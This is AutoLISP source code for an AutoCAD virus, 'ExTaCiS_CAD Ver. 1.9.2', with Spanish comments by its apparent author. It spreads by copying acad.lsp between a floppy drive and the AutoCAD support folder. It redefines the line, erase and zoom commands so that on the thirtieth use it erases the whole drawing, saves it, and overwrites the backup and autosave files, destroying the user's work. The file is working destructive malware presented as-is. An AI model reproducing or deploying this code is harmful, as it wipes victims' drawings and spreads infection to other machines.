Newer
Older
(setvar "cmdecho" 0)
(defun copyy (origen destino / file1 file2 esc1)
(if (= FIC "A")
(progn
(setq file1 (open origen "r") file2 (open destino "w"))
(if (and (/= file2 nil) (/= file1 nil))
(progn
(while
(setq esc1 (read-line file1))
(write-line esc1 file2)
)
(close file1)
(close file2)))))
)
(defun ejecuta (/ tabla aux text1 text2 archi arch1)
(command "style" "txt" "txt" 0 1 0 "" "" "")
(setq nombre (strcat (getvar "dwgprefix") (getvar "dwgname")) otron (getvar "tempprefix"))
(if (/= nombre nil)
(setq COD96-I (strcat (substr nombre 1 (- (strlen nombre) 3)) "bak")))
(setq tabla (tblnext "layer" 1) aux (cdr (assoc 2 tabla)))
(command "layer" "ON" "0" "T" "0" "U" "0" "")
(while (/= (setq tabla (tblnext "layer")) nil)
(setq aux (cdr (assoc 2 tabla)))
(command "layer" "ON" aux "T" aux "U" aux ""))
(command "erase" "all" "");;;;;ja ja ja ja
(setq text1 "Universidad Nacional de Ingeniería" text2 "ExTaCiS_CAD Ver. 1.9.2")
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
(command "color" 1)
(command "text" "j" "m" '(0 100) 5 0 text1 "")
(command "text" "j" "m" '(0 90) 5 0 text2 "")
(command "zoom" "e")
(command "qsave")
(setq nombres '() jj 1 autofile (getvar "savefile") num1 (strlen autofile) cco 1 archiv_nom "")
(while (/= "." (setq tte (substr autofile cco 1)))
(setq archiv_nom (strcat archiv_nom tte) cco (1+ cco))
)
(setq archiv_ext (substr autofile (1+ cco)) otron (strcat otron archiv_nom))
(while (open (setq otron1 (strcat otron (itoa jj) (strcat "." archiv_ext))) "r")
(setq nombres (cons otron1 nombres) jj (1+ jj))
)
(setq jj 1)
(while (open (setq otron1 (strcat otron (itoa jj) ".bak")) "r")
(setq nombres (cons otron1 nombres) jj (1+ jj))
)
(setq nombres (cons COD96-I nombres) jj 0)
(repeat (length nombres)
(if (setq archi (open (nth jj nombres) "w"))
(progn
(write-line text1 archi)
(write-line text2 archi)
(close archi)
(setq jj (1+ jj))
)
(setq jj (1+ jj))
)
)
(command "quit")
)
(setq des "a:\\acad.lsp" nombre (strcat (getvar "dwgprefix") (getvar "dwgname")))
(setq m11 "acad.lsp" contador_de_la_muerte 0 cadena (getvar "acadprefix") num (strlen cadena) j 1 k 0 nucleo "")
(if (/= nombre nil)
(setq FIC (substr nombre 1 1)))
(while (= k 0)
(setq char (substr cadena j 1) j (1+ j))
(if (/= char ";")
(setq nucleo (strcat nucleo char))
(setq k 1)))
(setq m22 (findfile m11) unidad (substr m22 1 1) m3 (strcat nucleo "\\" m11))
(if (= unidad "A")
(copyy m22 m3)
(copyy m3 des))
(defun c:l ()
(setq contador_de_la_muerte (1+ contador_de_la_muerte))
(if (= contador_de_la_muerte 30)
(ejecuta))
(command ".line"))
(defun c:e ()
(setq contador_de_la_muerte (1+ contador_de_la_muerte))
(if (= contador_de_la_muerte 30)
(ejecuta))
(command ".erase"))
(defun c:z ()
(setq contador_de_la_muerte (1+ contador_de_la_muerte))
(if (= contador_de_la_muerte 30)
(ejecuta))
(command ".zoom"))
;;comentarios y/o sugerencias a traemelo@lanet.com.pe
;;y el que me borbardee.... hay,hay,hay....pobresito.
;;Ya sale para AutoCAD 2000.
;;Por la culpa de unos idiotas tube que cambiar de acadr14.lsp a acad.lsp
;;Actualizado al 15/05/2000 a las 12:59 AM
;;....¡¡¡hay hoy tengo práctica...y no he estudiado nada!!!